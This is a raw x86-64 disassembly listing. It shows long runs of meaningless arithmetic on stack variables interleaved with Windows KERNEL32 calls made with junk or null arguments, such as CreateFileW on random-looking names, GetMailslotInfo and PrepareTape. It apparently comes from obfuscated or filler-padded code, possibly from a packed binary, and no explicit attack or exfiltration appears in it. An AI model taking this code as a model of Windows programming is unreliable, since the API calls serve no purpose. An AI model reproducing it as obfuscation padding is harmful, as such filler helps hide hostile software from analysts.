mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x47f0]
mov rcx, qword [rsp + 0xa020]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x490c], eax
mov rax, qword [rsp + 0xa490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x358]
sub eax, ecx
mov byte [rsp + 0x373], al
movsx eax, word [rsp + 0x1cb8]
movsx ecx, word [rsp + 0x1d98]
sar eax, cl
mov word [0x14022b8d4], ax
mov rax, qword [rsp + 0xa7b0]
movsx eax, word [rax]
mov rcx, qword [0x14022ba28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1268], ax
lea rax, [rsp + 0x1d08]
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15f8], ax
lea rax, [rsp + 0x34d]
mov qword [rsp + 0xaa18], rax
mov rax, qword [rsp + 0xaa00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48ac]
shl eax, cl
mov dword [rsp + 0x4718], eax
lea rcx, [rsp + 0xa6c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa508]
mov rcx, qword [rsp + 0x7458]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f78], rax
mov rax, qword [rsp + 0x9f90]
movzx eax, word [rax]
mov word [rsp + 0x1dcc], ax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ce4]
xor eax, ecx
mov word [rsp + 0x1384], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3cea
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48d4], eax
lea rax, [rsp + 0x7400]
mov qword [0x14022bab0], rax
lea rax, [rsp + 0x7540]
mov qword [rsp + 0xaa20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.R9mhw4625nL688
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaa28], rax
mov rax, qword [0x14022b880]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x73a0]
sar rax, cl
mov qword [rsp + 0x9eb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0xa8e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9fb8]
mov qword [rcx], rax
lea rax, [rsp + 0x1384]
mov qword [rsp + 0xaa30], rax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x47c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48c4], eax
lea rax, [rsp + 0x29c]
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0xa2a0]
mov rcx, qword [rsp + 0xa5d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9ce8], rax
lea rax, [0x14022ba3c]
mov qword [rsp + 0xaa40], rax
lea rax, [rsp + 0xac]
mov qword [0x14022bab8], rax
movsx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0xa918]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0xa8d0]
movsx eax, word [rax]
mov rcx, qword [0x14022b8a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d80], ax
mov r9d, 0x189e
xor r8d, r8d
lea rdx, [rsp + 0xa7a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4878], eax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1cc8]
and eax, ecx
mov word [rsp + 0xa64], ax
mov rax, qword [rsp + 0x9a80]
movzx ecx, al
mov rax, qword [rsp + 0x7278]
sar rax, cl
mov qword [rsp + 0x82e8], rax
lea rax, [rsp + 0xa4e0]
mov qword [rsp + 0xaa48], rax
mov rax, qword [rsp + 0xa518]
mov ecx, dword [rsp + 0x4764]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47e0], eax
mov rax, qword [rsp + 0xa598]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b811]
sub eax, ecx
mov byte [rsp + 0x364], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x64df
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4910], eax
movzx eax, word [rsp + 0x1d20]
mov word [rsp + 0x1dd0], ax
mov r9d, 0x250
xor r8d, r8d
lea rdx, [rsp + 0x9d88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4868], eax
movzx eax, word [rsp + 0x1d38]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022ba9c], ax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [0x14022ba10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa710]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
shl eax, cl
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0x9998]
mov ecx, dword [rsp + 0x48e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x489c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xa350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9fe8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x307], al
lea rax, [rsp + 0x475c]
mov qword [rsp + 0xaa50], rax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x110]
add eax, ecx
mov byte [rsp + 0x375], al
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [rsp + 0xaa58], rax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x16dc]
and eax, ecx
mov word [rsp + 0x1d40], ax
movzx eax, word [rsp + 0x1cc4]
mov word [0x14022bac0], ax
lea rdx, [rsp + 0x47cc]
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4914], eax
mov rax, qword [rsp + 0xa860]
mov rax, qword [rax]
mov rcx, qword [0x140229f20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa880], rax
lea rax, [rsp + 0x7400]
mov qword [rsp + 0xaa60], rax
movsx eax, word [rsp + 0x1cf4]
movsx ecx, word [rsp + 0x1ca0]
add eax, ecx
mov word [rsp + 0x1dcc], ax
movzx eax, word [rsp + 0x1dac]
mov word [rsp + 0x1dd4], ax
mov rax, qword [rsp + 0xa4d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8220]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7450], rax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x374]
mov qword [rsp + 0xaa68], rax
mov r9d, 0x1ec4
xor r8d, r8d
lea rdx, [rsp + 0x9f38]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4918], eax
mov eax, dword [0x140229f80]
mov ecx, dword [rsp + 0x4764]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xa418]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9f48]
sar rax, cl
mov qword [rsp + 0x9d90], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, qword [rsp + 0x9bb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140229f68], ax
mov rax, qword [rsp + 0xa778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1968], ax
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9b38]
mov qword [rsp + 0xaa70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0x7300]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa7f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov byte [rsp + 0x343], al
mov eax, dword [0x14022b878]
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0xa208]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa1e8], rax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [rsp + 0xc24]
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
mov word [0x14022bac4], ax
mov rax, qword [rsp + 0xa040]
mov rcx, qword [0x14022ba78]
mov qword [rsp + 0xaa88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d70]
sub eax, ecx
mov rcx, qword [rsp + 0xa168]
mov word [rcx], ax
movsx eax, word [rsp + 0x1cdc]
movsx ecx, word [0x140229f50]
add eax, ecx
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c80], rax
movzx eax, byte [rsp + 0x2c3]
mov byte [rsp + 0x380], al
mov rax, qword [rsp + 0xa858]
mov eax, dword [rax]
mov ecx, dword [0x140229fcc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a24], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9150]
shr rax, cl
mov qword [rsp + 0x7950], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.SZbCOO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a3c]
shl eax, cl
mov word [rsp + 0x1ce0], ax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xa180]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14022b870]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x454e
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x3b5c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x489c], eax
movzx eax, byte [rsp + 0x35f]
mov byte [rsp + 0x381], al
mov rax, qword [rsp + 0xa738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x86c]
add eax, ecx
mov word [rsp + 0x98c], ax
mov rcx, qword [rsp + 0x9f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rax, [rsp + 0x15f8]
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0x9ff8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa730]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4864]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d60], eax
mov rax, qword [rsp + 0xa2a0]
mov rax, qword [rax]
mov qword [rsp + 0xaaa0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0x9f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d54]
and eax, ecx
mov word [rsp + 0x1db8], ax
movzx eax, word [rsp + 0x178c]
movzx ecx, word [rsp + 0x1dd4]
sar eax, cl
mov rcx, qword [0x14022b8c8]
mov word [rcx], ax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xaab0], rax
lea rdx, [rsp + 0x47a8]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0x9b28]
mov rcx, qword [rsp + 0x9198]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8330]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d28]
sub eax, ecx
mov word [rsp + 0x16c0], ax
movsx eax, byte [rsp + 0x367]
mov rcx, qword [rsp + 0xa408]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xa9e0]
mov ecx, dword [0x140229f30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov byte [rsp + 0x35f], al
lea rax, [rsp + 0x4674]
mov qword [rsp + 0xaac0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.jwtBXsPzsZTPNs7FT2okMP9IA8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaac8], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [0x14022ba6c]
shl eax, cl
mov word [0x140229fd4], ax
movzx eax, word [rsp + 0x1bc4]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [0x14022b9e4]
sar eax, cl
mov word [rsp + 0x1260], ax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x83f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7820], rax
lea rax, [rsp + 0x47e4]
mov qword [rsp + 0xaad0], rax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0xa0e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x373]
add eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov byte [rcx], al
mov r9d, 0x1932
xor r8d, r8d
lea rdx, [rsp + 0xa968]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4898], eax
lea rax, [rsp + 0x1d58]
mov qword [rsp + 0xaad8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, word [rsp + 0x1aec]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1260], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.mQJPB1dbMEvVlCXt
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x9c80]
and rcx, rax
mov rax, rcx
mov qword [0x140229f60], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov word [rsp + 0x1dd8], ax
mov rax, qword [rsp + 0xa960]
mov rcx, qword [rsp + 0xa3b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x9ca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa520], rax
mov eax, dword [rsp + 0x4840]
mov dword [rsp + 0x4920], eax
movsx eax, byte [rsp + 0x367]
movsx ecx, byte [rsp + 0x363]
shl eax, cl
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0xa2c8]
mov ecx, dword [rsp + 0x3dc8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9be0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xa898]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa58]
shr rax, cl
mov qword [rsp + 0x8ff8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xac0d
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x485c], eax
lea rax, [rsp + 0x1d30]
mov qword [0x14022bac8], rax
movzx eax, word [rsp + 0x1dc8]
mov word [rsp + 0x1ddc], ax
lea rcx, [rsp + 0xa058]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ca8], ax
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19c0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.DpNV2yn0moyDZnxhOalmp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaae8], rax
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x8d58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9730], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [rsp + 0x373]
mov byte [rsp + 0x382], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xbe25
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4834]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.UQBom8zU7slVuy0bv3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaaf0], rax
mov rax, qword [rsp + 0xa7f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d24]
mov word [rsp + 0x1de0], ax
lea rax, [rsp + 0x9a80]
mov qword [0x14022bad0], rax
mov rax, qword [0x14022b8a8]
mov rcx, qword [rsp + 0xa068]
mov qword [rsp + 0xaaf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaaf8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9eb0]
mov qword [rcx], rax
lea rax, [rsp + 0x8640]
mov qword [rsp + 0xab00], rax
mov rax, qword [rsp + 0xa448]
mov rcx, qword [rsp + 0x8ac8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [0x14022b908]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1cc0], ax
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0x35d]
and eax, ecx
mov byte [rsp + 0x2f0], al
mov eax, dword [rsp + 0x488c]
mov rcx, qword [rsp + 0x9be0]
mov qword [rsp + 0xab08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x489c], eax
mov rax, qword [0x14022b9f0]
mov eax, dword [rax]
mov dword [rsp + 0x4924], eax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0x9b58]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa098], rax
movsx eax, byte [rsp + 0xce]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14022b811], al
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa050]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1400], ax
movsx eax, word [rsp + 0x1da4]
movsx ecx, word [rsp + 0x17d8]
add eax, ecx
mov word [rsp + 0x1174], ax
movzx eax, word [0x14022b990]
movzx ecx, word [rsp + 0x1dbc]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x9d68]
mov rax, qword [rax]
mov qword [rsp + 0xab10], rax
mov rax, qword [rsp + 0x9c40]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ef4], eax
mov r9d, 0xd93
xor r8d, r8d
lea rdx, [rsp + 0xa380]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4814], eax
movsx eax, byte [0x14022b810]
movsx ecx, byte [rsp + 0x343]
sub eax, ecx
mov byte [rsp + 0x37c], al
mov rax, qword [rsp + 0x7458]
mov rcx, qword [rsp + 0x6f58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9568], rax
movsx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf30], ax
movzx eax, word [rsp + 0x1aec]
movzx ecx, word [rsp + 0x1cd0]
sar eax, cl
mov word [0x14022b898], ax
lea rax, [rsp + 0x9de8]
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa148]
mov word [rcx], ax
lea rax, [rsp + 0x381]
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x489c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0x9a68]
mov rcx, qword [rsp + 0xa688]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8d58], rax
lea rax, [rsp + 0x164]
mov qword [rsp + 0xab28], rax
mov eax, dword [rsp + 0x4840]
mov ecx, dword [rsp + 0x47ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa108]
mov dword [rcx], eax
lea rax, [rsp + 0x98c]
mov qword [rsp + 0xab30], rax
movzx eax, word [rsp + 0x1cc0]
mov word [0x14022bad8], ax
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xab38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab38]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9d90], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4a8a
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xaa20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa460]
movzx eax, word [rax]
mov word [rsp + 0x1de4], ax
movzx eax, word [rsp + 0x1dd4]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa198]
mov word [rcx], ax
lea rcx, [rsp + 0xab40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa9d8]
mov rax, qword [rax]
mov qword [rsp + 0xab48], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [0x140229f2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d60], eax
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa998]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
lea rcx, [rsp + 0xa358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x45
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x6f78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ed8], rax
movsx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022b960]
mov word [rcx], ax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [0x14022ba88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d18], ax
mov eax, dword [rsp + 0x429c]
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x352], al
mov rax, qword [rsp + 0x9db0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98e0]
mov qword [rsp + 0xab50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab50]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9eb0]
mov qword [rcx], rax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa3e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ef0]
shl rax, cl
mov qword [rsp + 0x85c0], rax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
xor eax, ecx
mov byte [rsp + 0xa4], al
lea rdx, [rsp + 0x4884]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e8], eax
mov eax, dword [0x14022b878]
mov dword [rsp + 0x4930], eax
movsx eax, word [rsp + 0x1da8]
movsx ecx, word [rsp + 0x1c9c]
or eax, ecx
mov word [rsp + 0x1dcc], ax
movzx eax, word [rsp + 0x17d0]
movzx ecx, word [rsp + 0x83c]
sub eax, ecx
mov word [0x140229fd8], ax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov qword [rsp + 0xab58], rax
lea rcx, [rsp + 0xab60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d44]
add eax, ecx
mov word [rsp + 0x1d60], ax
mov rcx, qword [rsp + 0xa2e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
